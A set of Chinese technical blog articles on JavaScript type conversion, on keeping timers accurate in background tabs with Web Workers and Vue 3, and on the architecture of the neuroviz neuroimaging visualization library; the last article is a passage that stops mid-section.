
  • toString()
    • toString()可以将所有的数据都转换为字符串,但是要排除nullundefined
    • nullundefined不能转换为字符串,nullundefined调用toString()方法会报错
    • 如果当前数据为数字类型,则toString()括号中的可以写一个数字,代表进制,可以将数字转化为对应进制字符串。
var num = 123;
console.log(num.toString()+'_'+ typeof(num.toString()));    //123_string
console.log(num.toString(2)+'_'+typeof(num.toString()));    //1111011_string
console.log(num.toString(8)+'_'+typeof(num.toString()));    //173_string
console.log(num.toString(16)+'_'+typeof(num.toString()));   //7b_string
  • String()
    String()可以将nullundefined转换为字符串,但是没法转进制字符串。

三、Symbol.toPrimitive

对象的Symbol.toPrimitive属性。指向一个方法。该对象被转化为原始类型的值时,会调用这个办法,返回该对象对应的原始类型值。 Symbol.toPrimitive被调用时,会接受一个字符串参数,表示当前运算的模式,一个有三种模式。

  • Number: 该场合需要转成数值
  • String: 该场合需要转成字符串
  • Default: 该场合可以转成数值,也可以转成字符串。

Symbol.toPrimitive在类型转换方面,优先级是最高的

const test = { 
i: 10, 
toString: function() {
   console.log('toString');
  return this.i; 
}, 
valueOf: function() { 
   console.log('valueOf');
   return this.i; 
},
    [Symbol.toPrimitive](hint) {
        if(hint === 'number'){
          console.log('Number场景');
          return 123;
        }
        if(hint === 'string'){
          console.log('String场景');
          return 'str';
        }
        if(hint === 'default'){
          console.log('Default 场景');
          return 'default';
        }
    }
}

console.log(test);          // { i:10, toString: f, valueOf: f, Symbol(Symbol.toPrimitive): f }
console.log(+test);         // 123 Number场景
console.log(''+test);       // default Default 场景
console.log(String(test));  // str String场景
console.log(Number(test));  // 123 Number场景
console.log(test == '10');  // false default场景
console.log(test === '10'); // false

上面代码中、+test中的加号命名为一元加号+test本质就是转成数值的意思;

Tips

console.log(3 + test);  // 3default Default 场景
console.log(3 - test);  // -120 Number场景
console.log(3 * test);  // 369 Number场景
console.log(3 / test);  // 0.0243902 Number场景

以上的代码中,加减乘除都算运算符,本应都应该走Number场景,但是唯独+号走了Default场景

四、一元加号

一元加号运算符 + 在其操作数之前,并计算其操作数;但如果尚未将其转换为数字,则尝试将其转换为数字

console.log(+'')  // 0
console.log(+true)  // 1
console.log(+false)  // 0
console.log(+'hello')  // NaN

console.log(1 + +"2" + "2")  // 32

一元加法是将某事物转换为数字的最快和首选方法,因为它不对数字执行任何其他操作。

如果它无法解析特定值,它将输出为NaN

感谢您抽出宝贵的时间观看本文;本文是JavaScript系列的第 6 篇,后续会持续更新,欢迎关注~

浏览器窗口最小化的时候,setInterval 执行变慢,解决方案

方法一:使用 Web Worker 保持精确计时

1. 创建 Worker 文件(timer-worker.js)
// timer-worker.js
let intervalId = null;

self.addEventListener('message', (e) => {
  const { type, interval } = e.data;
  
  if (type === 'start') {
    // 停止已有的定时器
    if (intervalId) clearInterval(intervalId);
    // 启动新的定时器
    intervalId = setInterval(() => {
      self.postMessage('tick');
    }, interval);
  } else if (type === 'stop') {
    if (intervalId) {
      clearInterval(intervalId);
      intervalId = null;
    }
  }
});
2. 在主线程中使用 Worker
// 主线程代码
const worker = new Worker('timer-worker.js');

// 监听 Worker 发来的消息
worker.addEventListener('message', (e) => {
  if (e.data === 'tick') {
    // 这里执行原本需要定时执行的任务
    console.log('定时任务执行', new Date());
  }
});

// 启动定时器,间隔 1000ms
worker.postMessage({ type: 'start', interval: 1000 });

// 停止定时器
// worker.postMessage({ type: 'stop' });

优点:即使页面最小化或切换到后台,Worker 中的 setInterval 依然保持设定的频率。 注意:Worker 中不能直接访问 DOM,需要通过 postMessage 与主线程通信,因此适合执行不直接操作页面的逻辑(如数据轮询、计时更新等)。

方法二:结合 Page Visibility API 动态调整策略

如果无法使用 Worker(例如需要频繁操作 DOM),可以监听页面的可见性变化,当页面变为不可见时,改用更宽松的策略,但无法彻底避免频率限制。

let intervalId = null;
let isPageVisible = true;

// 监听页面可见性变化
document.addEventListener('visibilitychange', () => {
  isPageVisible = !document.hidden;
  
  if (isPageVisible) {
    // 页面可见时恢复原有频率
    startTimer(1000);
  } else {
    // 页面不可见时,可以延长间隔或停止某些非关键任务
    // 但无法强制浏览器按原频率执行
  }
});

function startTimer(interval) {
  if (intervalId) clearInterval(intervalId);
  intervalId = setInterval(() => {
    console.log('任务执行', new Date());
  }, interval);
}

startTimer(1000);

局限:浏览器仍会限制后台页面的计时器频率,因此无法真正“解决”变慢问题,只能根据场景适配。

方法三:使用 setTimeout 递归 + 时间补偿

通过记录实际执行时间与预期时间的偏差,动态调整下一次 setTimeout 的延迟,可以在一定程度上缓解频率降低带来的累积误差,但依然无法绕过浏览器的底层限制。

let expectedTime = 0;
let timeoutId = null;

function scheduleTask(interval) {
  if (timeoutId) clearTimeout(timeoutId);
  
  const now = Date.now();
  if (expectedTime === 0) {
    expectedTime = now + interval;
  } else {
    expectedTime += interval;
  }
  
  const delay = Math.max(0, expectedTime - now);
  timeoutId = setTimeout(() => {
    // 执行实际任务
    console.log('任务执行', new Date());
    scheduleTask(interval);
  }, delay);
}

scheduleTask(1000);

说明:这种方法可以确保任务在后台仍按设定的间隔执行,但 setTimeout 同样受浏览器限制(最小间隔通常为 1 秒),所以实际效果有限。

总结

  • 如果定时任务不涉及 DOM 操作(如轮询数据、发送请求、计时更新),Web Worker 是最佳选择,能完美解决后台频率限制问题。

  • 如果必须操作 DOM,则只能接受浏览器对后台页面的优化,并结合可见性 API 调整业务逻辑。

选择哪种方案取决于你的具体需求。

在 vue3中如何使用

1. 创建 Worker 文件

在 src/workers 目录下创建 timer.worker.js:

// src/workers/timer.worker.js
let intervalId = null

self.addEventListener('message', (e) => {
  const { type, interval } = e.data

  if (type === 'start') {
    if (intervalId) clearInterval(intervalId)
    intervalId = setInterval(() => {
      self.postMessage('tick')
    }, interval)
  } else if (type === 'stop') {
    if (intervalId) {
      clearInterval(intervalId)
      intervalId = null
    }
  }
})

注意:如果使用 Vite,可以直接用 ?worker 后缀导入,也可以使用 new Worker(new URL(...)) 方式(推荐)。

2. 封装一个组合式函数(Composable)

创建一个 useWorkerTimer.ts(或 .js):

// composables/useWorkerTimer.js
import { ref, onMounted, onUnmounted } from 'vue'

export function useWorkerTimer(interval = 1000, autoStart = true) {
  const worker = ref(null)
  const tick = ref(0)          // 计数,可用来触发响应式更新
  const isRunning = ref(false)

  // 初始化 Worker
  const initWorker = () => {
    // 兼容 Vite 的导入方式(推荐)
    worker.value = new Worker(new URL('../workers/timer.worker.js', import.meta.url))

    worker.value.addEventListener('message', (e) => {
      if (e.data === 'tick') {
        tick.value++          // 每次触发都会更新,可驱动视图
      }
    })
  }

  // 启动定时器
  const start = () => {
    if (!worker.value) initWorker()
    worker.value?.postMessage({ type: 'start', interval })
    isRunning.value = true
  }

  // 停止定时器
  const stop = () => {
    worker.value?.postMessage({ type: 'stop' })
    isRunning.value = false
  }

  // 清理 Worker
  const terminate = () => {
    stop()
    if (worker.value) {
      worker.value.terminate()
      worker.value = null
    }
  }

  // 自动管理生命周期
  onMounted(() => {
    if (autoStart) start()
  })

  onUnmounted(() => {
    terminate()
  })

  return {
    tick,          // 响应式计数,可在模板中显示
    isRunning,     // 运行状态
    start,
    stop,
    terminate
  }
}
3. 在 Vue 组件中使用
<template>
  <div>
    <p>Worker 定时器已运行:{{ tick }} 次</p>
    <button @click="start" :disabled="isRunning">启动</button>
    <button @click="stop" :disabled="!isRunning">停止</button>
  </div>
</template>

<script setup>
import { useWorkerTimer } from '@/composables/useWorkerTimer'

// 间隔 1000ms,自动启动
const { tick, isRunning, start, stop } = useWorkerTimer(1000, true)
</script>
4. 进阶:传递数据与主线程交互

如果需要在 Worker 中执行更复杂的任务(例如发起网络请求),可以通过 postMessage 传递数据。 Worker 端接收数据

// timer.worker.js
self.addEventListener('message', async (e) => {
  const { type, payload } = e.data
  if (type === 'fetch') {
    const res = await fetch(payload.url)
    const data = await res.json()
    self.postMessage({ type: 'fetchResult', data })
  }
})
主线程发送并接收结果
// 在组件中
worker.value?.postMessage({
  type: 'fetch',
  payload: { url: 'https://api.example.com/data' }
})

worker.value?.addEventListener('message', (e) => {
  if (e.data.type === 'fetchResult') {
    console.log('获取到数据:', e.data.data)
  }
})
5. 注意事项
  1. Worker 文件路径 在 Vite 中,使用 new URL('../workers/timer.worker.js', import.meta.url) 可以保证开发和生产环境路径正确。 如果使用 Vue CLI,可以简单用 new Worker('@/workers/timer.worker.js'),但需要确保 Webpack 正确处理。

  2. 响应式数据更新 通过 tick 的更新可以驱动视图重新渲染,这是通过 Vue 的响应式系统自动完成的。

  3. 生命周期清理 在组件卸载时,务必调用 worker.terminate() 避免内存泄漏。上面封装的 useWorkerTimer 已处理。

  4. 兼容性 Web Worker 支持现代浏览器及移动端,如果需要兼容非常古老的浏览器,可使用降级方案(如 fallback 到 setInterval)。

总结

在 Vue 3 中使用 Web Worker 保持精确计时,只需三步:

  • 创建独立的 Worker 文件,内部使用 setInterval 并 postMessage 通知主线程。

  • 封装组合式函数管理 Worker 生命周期(创建、启动、停止、销毁)。

  • 在组件中调用该函数,即可享受不受页面可见性影响的稳定定时器。

这种方式非常适合轮询、实时数据更新、倒计时等需要精确计时的业务场景。

从零构建神经影像可视化库:neuroviz 的架构设计与实现

前言

不知道掘金有多少在神经影像行业工作的开发,但是我是,之前用过的一个影像展示是一款年代很久远的库,曾一直想重构但是影像这方面的资料少之甚少,现在得益于ai的发展,资料检索起来方便了很多,所以我就开发了这么一款神经影像可视化库。 当然,业内也有比较成熟的VTK.js和Cornerstone等成熟的库,但是都太过于繁重,没有轻量的现代语法的库,可以嵌入到任意 Web项目。

neuroviz 正是为了填补这个空白而设计的:一个基于 TypeScript + Three.js + Canvas 2D 的浏览器端神经影像可视化库,支持 GIfTI、FreeSurfer、MNI OBJ 格式的三维脑表面渲染,以及 NIfTI 格式的三切面体积查看,提供完整的 TypeScript 类型定义。

本文将系统介绍 neuroviz 的整体架构、两大子系统的实现细节、关键技术决策以及在开发过程中遇到的难点与解决方案。


一、整体架构

1.1 两个独立的子系统

neuroviz 在设计上分为两个相对独立的子系统,分别对应神经影像可视化的两种主流场景:

neuroviz
├── Surface 子系统(三维表面渲染)
│   ├── SurfaceViewer     门面类,对外暴露所有公共 API
│   ├── Scene             Three.js 场景封装
│   ├── Interaction       鼠标交互(旋转/平移/缩放)
│   ├── MeshBuilder       几何体构建与颜色映射
│   └── AnnotationManager 顶点标记点管理
│
└── Volume 子系统(二维切片渲染)
    ├── VolumeViewer      组合三个切面,统一管理
    └── SliceRenderer     单轴切片渲染(可独立使用)

两个子系统完全独立,可以单独使用,也可以联动——例如点击三维表面上的某个顶点,通过 tkRas 坐标变换矩阵自动跳转到体积查看器对应的位置,实现表面与体积的坐标联动。

1.2 共享基础设施

两个子系统共享以下基础模块:

模块 位置 作用
EventEmitter src/core/event-emitter.ts 轻量级事件系统,两个 Viewer 都继承自它
PathOrFile src/types/index.ts 统一的文件输入接口(URL 或 ArrayBuffer)
公共类型定义 src/types/index.ts VolumeDataModelDataTkRas 等共享数据结构

这种划分让两个子系统保持了 API 的一致性,同时避免了相互耦合。


二、Surface 子系统:三维脑表面渲染

Surface 子系统是 neuroviz 的核心功能,基于 Three.js WebGL 渲染引擎,支持加载不同格式的大脑皮层表面模型,并在其上叠加功能数据(Overlay)的颜色映射。

2.1 文件格式支持

神经影像领域有多种脑表面文件格式,neuroviz 通过 Web Worker 并行解析,支持以下三种:

GIfTI(.gii.gii.gz

GIfTI 是神经影像社区广泛使用的通用脑成像文件格式。其内部结构是 XML,顶点坐标和面索引以 Base64 编码的二进制数据嵌入在 XML 节点中,同时支持 zlib 压缩(.gii.gz)。解析流程:

  1. 如果是 .gz 文件,先用 pako 进行 zlib 解压
  2. DOMParser 解析 XML
  3. 找到 <DataArray> 节点,提取 Base64 数据并解码
  4. 根据 DataType 字段(NIFTI_TYPE_FLOAT32 等)转换为对应的 TypedArray

由于 XML 解析和大量字符串操作在大型模型(数十万顶点)上耗时可能达到数秒,GIfTI 解析必须放在 Web Worker 中执行,避免阻塞主线程。

FreeSurfer 二进制格式

FreeSurfer 是神经影像分析领域最常用的软件套件,其输出的表面文件没有固定的文件扩展名(通常命名为 lh.pialrh.white 等)。neuroviz 通过读取文件头部的魔数(Magic Number)自动识别:

  • 0xFF 0xFF 0xFE(16进制):三角形表面文件(Triangle Surface)
  • 0xFF 0xFF 0xFF:曲率文件(Curvature)

三角形表面文件的结构:魔数(3字节)→ 注释字符串 → 顶点数 → 面数 → 顶点坐标数组(Float32,大端序) → 面索引数组(Int32,大端序)。

由于 FreeSurfer 的真实皮层表面通常有 15 万到 30 万顶点,加载时间较长,同样放在 Worker 中处理。

MNI OBJ 格式(.obj.obj.gz

这是 McGill Neurological Institute(蒙特利尔神经学研究所)的自定义 OBJ 格式,与标准 Wavefront OBJ 格式不同,不能互换使用。其文本格式包含顶点坐标、法线、颜色和面索引。neuroviz 内置了专用的 MNI OBJ 解析器处理此格式。

2.2 Web Worker 架构

Surface 子系统的文件解析全部在 Web Worker 中进行,主线程只负责接收解析结果并构建 Three.js 几何体。架构示意:

主线程                          Worker
──────────────────────────────────────────────────────
SurfaceViewer.load()
  │
  ├── new Worker(gifti.worker.js)  ──────────→ 解析 XML + Base64
  ├── new Worker(overlay.worker.js) ─────────→ 解析文本 + 解压
  │                                             │
  │   ←──── postMessage(ModelData) ────────────┘
  │         Transferable: Float32Array/Uint32Array
  │
  └── MeshBuilder.build(modelData)
      └── new THREE.BufferGeometry()

Transferable 对象传输

Worker 和主线程之间交换的主要数据是 Float32Array(顶点坐标、法线、颜色)和 Uint32Array(面索引)。这些 TypedArray 通过 Transferable 接口传输,而不是序列化拷贝:

// Worker 内部
self.postMessage(
  { vertices, indices, normals },
  [vertices.buffer, indices.buffer, normals.buffer]  // 转移所有权
);

Transferable 传输会将 ArrayBuffer 的所有权从 Worker 转移给主线程,整个过程是零拷贝的,耗时在 1ms 以内。而如果采用默认的结构化克隆(Structured Clone),30 万顶点的 Float32Array(约 3.6MB)需要完整复制,耗时可能达到数十毫秒。

Worker 路径解析

new Worker(url) 需要一个可访问的脚本 URL,这在不同的部署环境下是个挑战:直接引用 dist 目录、通过 CDN 加载、集成到 Vite/Webpack 项目中,Worker 文件的路径都不一样。

neuroviz 通过 worker-config.ts 实现了两层路径解析策略:

let _baseUrl: URL | null = null;

export function getWorkerUrl(filename: string): URL {
  if (_baseUrl) return new URL(filename, _baseUrl);       // 用户配置优先
  return new URL(`./${filename}`, import.meta.url);       // 默认:相对当前模块
}

import.meta.url 在 ESM 环境下指向当前模块文件的 URL,默认情况下 Worker 文件会被解析为与主 bundle 同级目录,覆盖了最常见的 npm 包使用场景。对于特殊环境,用户在应用初始化时调用一次即可:

import { setWorkerBaseUrl } from 'neuroviz';
setWorkerBaseUrl('https://cdn.example.com/workers/');

Worker bundle 格式选择 IIFE 而非 ESM,原因是兼容性:new Worker(url) 默认加载经典脚本(classic script),不支持 ESM 的 import 语句。Safari 对 Module Worker 的支持也较晚。IIFE 格式将所有依赖(pako、gifti-reader-js 等)内联进单个文件,加载后直接可用,不需要额外的网络请求。

2.3 MeshBuilder:从数据到 Three.js 几何体

MeshBuilder 负责将 Worker 解析好的原始数据构建成 Three.js 可以渲染的 BufferGeometry

几何体构建

const geometry = new THREE.BufferGeometry();
geometry.setAttribute("position", new THREE.Float32BufferAttribute(vertices, 3));
geometry.setIndex(new THREE.BufferAttribute(new Uint32Array(indices), 1));

if (normals && normals.length > 0) {
  geometry.setAttribute("normal", new THREE.Float32BufferAttribute(normals, 3));
} else {
  geometry.computeVertexNormals();  // 从面索引自动计算法线
  geometry.normalizeNormals();
}

geometry.setAttribute("color", new THREE.Float32BufferAttribute(colors, 3));

材质使用 MeshPhongMaterial 并开启 vertexColors: true,让每个顶点的颜色从 color attribute 中读取——这是 Overlay 颜色映射的基础。DoubleSide 确保表面内外都能被渲染,对于半透明模式尤其重要。

Overlay 颜色映射

Overlay 是一维的浮点数数组,每个值对应一个顶点,表示该顶点处的功能数据(如激活强度、皮层厚度等)。颜色映射的过程:

  1. 遍历 Overlay 数据,找出最小值 lo 和最大值 hi(若用户指定了 range 则使用指定范围)
  2. 对每个顶点值,将其归一化到 [0, 1] 区间
  3. 乘以颜色映射表的长度,取对应颜色条目(RGB 三通道,范围 0–1)
  4. 写入 BufferGeometry 的 color attribute

这个过程中,computeOverlayParamsmapValueToColor 被提取为静态方法,由 build()updateColors() 两处共用,避免逻辑重复。

顶点空间索引

几何体构建完成后,MeshBuilder 立即建立一个空间位置索引:

private buildPositionIndex(): void {
  const attr = this.mesh.geometry.getAttribute("position");
  for (let i = 0; i < attr.count; i++) {
    const key = `${attr.getX(i)},${attr.getY(i)},${attr.getZ(i)}`;
    if (!this.positionIndex.has(key)) {
      this.positionIndex.set(key, i);
    }
  }
}

Map<string, number>"x,y,z" 字符串为键,将 getIndexByPosition 的时间复杂度从 O(n) 降至 O(1)。对于 30 万顶点的模型,这是必要的优化。

当传入坐标存在浮点精度误差时(射线求交得到的交点坐标往往有微小偏差),精确字符串匹配会失败,此时降级为带 epsilon 容差的 O(n) 线性搜索作为保底。

2.4 交互系统

Interaction 类负责鼠标交互:左键拖拽旋转、右键拖拽平移、滚轮缩放。它接受任意 THREE.Object3D 作为操作目标,完全不依赖 Scene

旋转使用 rotateOnWorldAxis——在世界坐标系中旋转,而非对象自身坐标系——这样无论当前旋转状态如何,拖拽方向与模型旋转方向始终对应,避免了万向锁导致的反直觉操作。

性能细节

mousemove 事件频率极高(60fps+)。旋转计算需要两个轴向量 (0,1,0)(1,0,0),早期版本每次事件都创建 new THREE.Vector3(0, 1, 0),产生不必要的对象分配。优化后提取为 static readonly 类常量:

private static readonly AXIS_Y = new THREE.Vector3(0, 1, 0);
private static readonly AXIS_X = new THREE.Vector3(1, 0, 0);

类常量只创建一次,整个生命周期内所有事件复用,减少了 GC 触发频率。

区分点击与拖拽

旋转结束时,浏览器也会触发 click 事件。如果不加区分,用户旋转完模型后松开鼠标,就会误触发顶点拾取(Raycasting)。

Interactionmousedown 时记录起始坐标,mouseup 时记录结束坐标:

readonly mousemovePosition: [THREE.Vector2, THREE.Vector2] = [
  new THREE.Vector2(0, 0),   // mousedown 时记录
  new THREE.Vector2(0, 0),   // mouseup 时记录
];

SurfaceViewerclick 事件处理器里检查两点距离,距离大于 0 说明是拖拽,直接 return:

if (mp[0].distanceTo(mp[1]) > 0) return;  // 是拖拽,忽略

2.5 顶点拾取(Raycasting)

点击表面时,通过 Three.js 的 Raycaster 将屏幕坐标转换为 3D 射线,找到射线与网格的交叉点,取出对应的顶点索引。

这里有一个隐蔽的 bug:线框模式(Wireframe)的实现是在原始 mesh 上挂载一个 THREE.LineSegments 子对象。如果 Raycasting 使用 recursive: true 递归检测子对象,LineSegments 会参与检测,且由于线段没有面积,它比 Mesh 更容易被射线命中,导致点击表面时实际拾取的是不可见的线框而非网格。

解决方案是双重过滤:

const intersects = raycaster
  .intersectObjects(this.scene.modelGroup.children, false)  // 非递归,跳过子对象
  .filter((i) => i.object instanceof THREE.Mesh);           // 只接受 Mesh,排除 LineSegments

const hit = intersects.find((i) => this.handles.has(i.object.name));  // 只认注册的模型

2.6 标记点系统(AnnotationManager)

AnnotationManager 随每个 load() 调用一起返回,允许在任意顶点处放置球形标记。每个标记是一个 THREE.SphereGeometry 构建的小球,作为对应 mesh 的子对象挂载在场景中,自动跟随模型旋转和缩放。

生命周期守卫

当用户调用 viewer.removeModel(name) 后,模型的 mesh 从场景中移除(mesh.parent === null),但外部代码可能仍持有该模型的 AnnotationManager 引用并继续调用 add()。没有守卫的情况下,标记球会被挂到一个"孤岛" mesh 上——它不在场景里,不被渲染,但占用内存,且后续行为不可预期。

add(vertex: number, options = {}): Annotation | null {
  if (!this.#mesh.parent) return null;  // mesh 已从场景移除,拒绝操作
  // ...
}

返回 null 让调用方可以明确感知到操作失败。

激活状态

activate(vertex) 将指定标记高亮(切换到 activeColor),其他标记恢复原色:

activate(vertex: number): void {
  this.annotations.forEach((annotation) => {
    const mat = annotation.marker.material as THREE.MeshPhongMaterial;
    mat.color.setHex(
      annotation.vertex === vertex ? this.activeColor : annotation.color
    );
  });
}

每次添加标记时会自动 activate 新标记,提供视觉反馈。

2.7 多模型与交互目标切换

SurfaceViewer 使用 Map<string, ModelHandle> 管理所有已加载的模型。ModelHandle 是句柄模式的体现——它封装了"对哪个模型操作"的上下文,使得多模型场景下的操作自然简洁:

const { handle: lh } = await viewer.load({ model: { url: 'lh.pial.gii', name: 'lh' } });
const { handle: rh } = await viewer.load({ model: { url: 'rh.pial.gii', name: 'rh' } });

lh.setTransparency(0.5);    // 只影响左脑半球
rh.setVisible(false);        // 只隐藏右脑半球
viewer.setTransparency(0.8); // 同时影响所有模型

setInteractionTarget 允许把鼠标交互目标从整个模型组切换到单个模型:

viewer.setInteractionTarget(lh);  // 只旋转左脑,右脑静止
viewer.setInteractionTarget('group');  // 恢复所有模型联动

实现上,每次切换都是销毁旧 Interaction 实例(通过 AbortController.abort() 一次性移除所有事件监听),再 new 一个新的绑定新目标——不需要 Interaction 自身感知"切换"这件事,没有状态残留风险。


三、Volume 子系统:NIfTI 体积数据三切面渲染

Volume 子系统基于 Canvas 2D API,以轴向(Axial)、冠状(Coronal)、矢状(Sagittal)三个正交切面展示 NIfTI 格式的脑体积数据。

3.1 NIfTI 解析

NIfTI(Neuroimaging Informatics Technology Initiative)是神经影像领域最常用的体积数据格式,有 .nii(单文件)和 .nii.gz(gzip 压缩)两种形式。

为什么不用 Worker?

与 GIfTI 不同,NIfTI 是纯二进制格式:

  • 头部:固定 348 字节(NIfTI-1)或 544 字节(NIfTI-2),包含维度、数据类型、体素尺寸等元信息
  • 数据体:紧跟头部之后,是连续的体素数值数组

解析过程完全基于 DataView 读取头部字段,再将数据体直接 cast 成对应的 TypedArray(Int16ArrayFloat32ArrayUint8Array 等)。整个过程没有 XML 解析、没有 Base64 解码,对于 100MB 的 NIfTI 文件,解析时间通常在 50–100ms 以内——主线程完全可以接受。

如果用 Worker,反而会增加 ArrayBuffer 序列化传输的额外开销,得不偿失。

轴向信息(AxisInfo)

NIfTI 头部包含每个空间轴的完整信息:

type AxisInfo = {
  name: AxisName;              // "xspace" | "yspace" | "zspace"
  space_length: number;         // 该轴的体素数量
  step: number;                 // 体素物理尺寸(mm),可为负(表示方向翻转)
  start: number;                // 起始坐标(mm)
  direction_cosines: [number, number, number]; // 方向余弦
  offset: number;               // 在一维 data 数组中的步长
};

offset 是关键字段。NIfTI 数据在内存中以一维数组存储,给定体素坐标 (x, y, z),其在数组中的索引为:

idx = x * header.xspace.offset + y * header.yspace.offset + z * header.zspace.offset

offset 由文件的维度顺序决定(慢轴到快轴),neuroviz 在解析头部时自动计算。

3.2 SliceRenderer:单轴切片渲染

SliceRenderer 是体积渲染的核心,负责将三维体素数据中的一个二维切面渲染到 <canvas> 元素上。

轴布局

每个轴的切面由两个正交轴构成:

private static readonly LAYOUT: Record<SliceAxis, { col: AxisName; row: AxisName }> = {
  xspace: { col: "yspace", row: "zspace" },  // 矢状面
  yspace: { col: "xspace", row: "zspace" },  // 冠状面
  zspace: { col: "xspace", row: "yspace" },  // 轴向面
};

col 轴对应 canvas 的水平方向,row 轴对应垂直方向。

渲染流程

draw(): void {
  const { col, row } = SliceRenderer.LAYOUT[this.axis];
  const colLen = header[col].space_length;
  const rowLen = header[row].space_length;

  const imageData = this.ctx.createImageData(colLen, rowLen);
  const sliceOff = header[this.axis].offset * this.sliceIndex;

  for (let r = 0; r < rowLen; r++) {
    for (let c = 0; c < colLen; c++) {
      const voxIdx = sliceOff + header[row].offset * r + header[col].offset * c;
      const raw = this.volume.data[voxIdx];
      // 窗宽窗位映射
      const normalized = clamp((raw - lower) / (upper - lower), 0, 1);
      // LUT 查找
      const lutIdx = Math.round(normalized * 255) * 3;
      pixels[...] = lut[lutIdx], lut[lutIdx+1], lut[lutIdx+2];
    }
  }

  this.ctx.putImageData(imageData, 0, 0);
  if (this.showCursor) this.drawCursor(colLen, rowLen);
}

窗宽窗位(Window/Level)

窗宽窗位是医学影像显示的标准调参方式:

  • Window Level(窗位):显示范围的中心值
  • Window Width(窗宽):显示范围的宽度

体素值在 [level - width/2, level + width/2] 范围内线性映射到 [0, 1],范围外的值截断到 0 或 1。这允许用户针对感兴趣的组织类型(灰质、白质、脑脊液)调整最佳对比度。

各向异性体素的显示矫正

这是开发过程中发现并修复的一个实际 bug。

SliceRenderer 把每个体素渲染为一个 canvas 像素,canvas 的 widthheight 设置为体素数量(如 256×160)。CSS 再把 canvas 拉伸填满容器,如果容器宽高比与体素数量比不一致,图像就会变形。

更深层的问题是各向异性体素:如果 X 方向的体素物理尺寸(step)是 1mm,Z 方向是 2mm,那么一个 256×160 体素的切面物理上是 256mm × 320mm,而不是 256×160 的正方形。渲染时每个体素用一个像素表示,纵轴被"压缩"了一半。

修复方案:在 setVolume() 时,根据物理尺寸设置 CSS 的 aspect-ratio

const physW = header[col].space_length * Math.abs(header[col].step);
const physH = header[row].space_length * Math.abs(header[row].step);
this.canvas.style.aspectRatio = `${physW} / ${physH}`;

canvas 的内部像素分辨率(width/height 属性)保持体素数量不变,aspect-ratio 只影响 CSS 显示尺寸,不影响渲染逻辑和坐标换算——优雅地解耦了"渲染精度"和"显示比例"两个关注点。

坐标换算

点击 canvas 时,需要将 CSS 像素坐标转换为体素坐标。canvas 有两套坐标系:CSS 像素(受 CSS 缩放影响)和 canvas 像素(绘制分辨率),两者比例不同:

// VolumeViewer 处理点击
const rect = canvas.getBoundingClientRect();
const px = e.clientX - rect.left;  // CSS 像素
const py = e.clientY - rect.top;

const scaleX = canvas.width / rect.width;   // canvas 像素 / CSS 像素
const scaleY = canvas.height / rect.height;

const voxel = renderer.canvasToVoxel(px * scaleX, py * scaleY);

这样无论 canvas 被 CSS 如何缩放(大屏、高 DPR 设备),体素坐标换算都是准确的。

3.3 VolumeViewer:三切面联动

VolumeViewer 是三个 SliceRenderer 的组合器,负责:

  1. 加载 NIfTI 文件,解析后分发给三个渲染器
  2. 点击任意切面时,更新三个切面的位置和游标,并广播 positionchange 事件
  3. 全局的窗宽窗位、颜色映射、游标显示控制同步到三个渲染器

三切面联动的游标同步逻辑:

private syncCursors(): void {
  // 矢状面(x 轴切面):canvas x=yspace, y=zspace
  this.renderers.xspace.setCursor(this.position.yspace, this.position.zspace);
  // 冠状面(y 轴切面):canvas x=xspace, y=zspace
  this.renderers.yspace.setCursor(this.position.xspace, this.position.zspace);
  // 轴向面(z 轴切面):canvas x=xspace, y=yspace
  this.renderers.zspace.setCursor(this.position.xspace, this.position.yspace);
}

SliceRenderer 单独暴露的意义

SliceRenderer 作为公共 API 单独导出,而不仅仅是 VolumeViewer 的内部实现。原因是灵活性:并非所有场景都需要三切面联动。有人可能只需要一个轴向切面,或者需要四宫格布局(三切面 + 一个 3D 视图)。单独暴露后,用户可以自由组合任意数量的 SliceRenderer,构建自定义的影像查看器。


四、共享基础设施

4.1 EventEmitter

SurfaceViewerVolumeViewer 都继承自 EventEmitter,统一的事件接口让两者可以以相同的方式被使用:

surfaceViewer
  .on('load', ({ handle, annotations }) => { ... })
  .on('vertexClick', ({ index, point, volCoord }) => { ... });

volumeViewer
  .on('load', (volume) => { ... })
  .on('positionchange', ({ xspace, yspace, zspace }) => { ... });

EventEmitter 自实现,仅 30 行代码,不依赖任何外部库。选择自实现而非 Node.js events polyfill 的原因:这是一个浏览器库,不应引入 Node.js 环境依赖。选择自实现而非 RxJS 的原因:RxJS 约 50KB,对于仅需 on/off/emit/once 四个方法的场景是严重过度设计。

once 的实现利用闭包实现触发后自移除:

once<T>(event: string, handler: EventHandler<T>): this {
  const wrapper: EventHandler<T> = (data) => {
    handler(data);
    this.off(event, wrapper);  // 执行后从监听器列表移除自身
  };
  return this.on(event, wrapper);
}

4.2 PathOrFile 判别联合类型

神经影像的工作流多样:数据可能来自服务器(URL)、本地文件上传(FileArrayBuffer)、或者内存中已有的缓冲区。为了统一处理,neuroviz 定义了 PathOrFile 判别联合类型:

export type PathOrFile =
  | { url: string; file?: never }
  | { file: ArrayBuffer; url?: never };

never 标记互斥字段——两者不能同时存在——TypeScript 可以在条件分支内精确收窄类型,无需非空断言:

function resolveSource(source: PathOrFile, fromURL, fromFile) {
  return source.url
    ? fromURL(source.url)    // 此处 url 类型是 string,不是 string | undefined
    : fromFile(source.file!);
}

如果用简单的可选字段 { url?: string; file?: ArrayBuffer }{} 也是合法值,且 TypeScript 无法自动收窄类型,需要到处写 source.url!

这种设计还统一了 Surface 和 Volume 的加载 API——两者都接受同一个 PathOrFile,用户可以在两者之间自由切换,不需要记忆不同的方法名。


五、内存管理与资源释放

WebGL 和 DOM 事件监听器是浏览器中最常见的两类内存泄漏来源。neuroviz 对此进行了系统性的处理。

5.1 WebGL 资源释放

SurfaceViewer.dispose() 形成完整的资源清理链:

dispose(): void {
  this.abortController.abort();      // 一次性清理所有 DOM 事件监听
  this.interaction.dispose();         // Interaction 的事件监听
  this.handles.forEach((handle) => {
    const mesh = handle.meshBuilder.mesh;
    mesh.geometry.dispose();          // 释放 GPU 顶点缓冲区(VBO)
    mesh.material.dispose();          // 释放 GPU 材质资源
  });
  this.handles.clear();
  this.scene.dispose();               // 取消 rAF + 断开 ResizeObserver + 销毁 WebGL context
}

THREE.BufferGeometry.dispose()THREE.Material.dispose() 释放的是 GPU 端的内存(顶点缓冲区 VBO、纹理等),这部分内存不受 JavaScript GC 管理,必须手动释放。

5.2 AbortController 统一管理事件监听

传统的事件监听清理方式需要保存每个 handler 的引用才能调用 removeEventListener,繁琐且容易遗漏。neuroviz 统一使用 AbortControllersignal 机制:

// 注册事件
element.addEventListener('mousemove', handler, {
  signal: this.abortController.signal
});

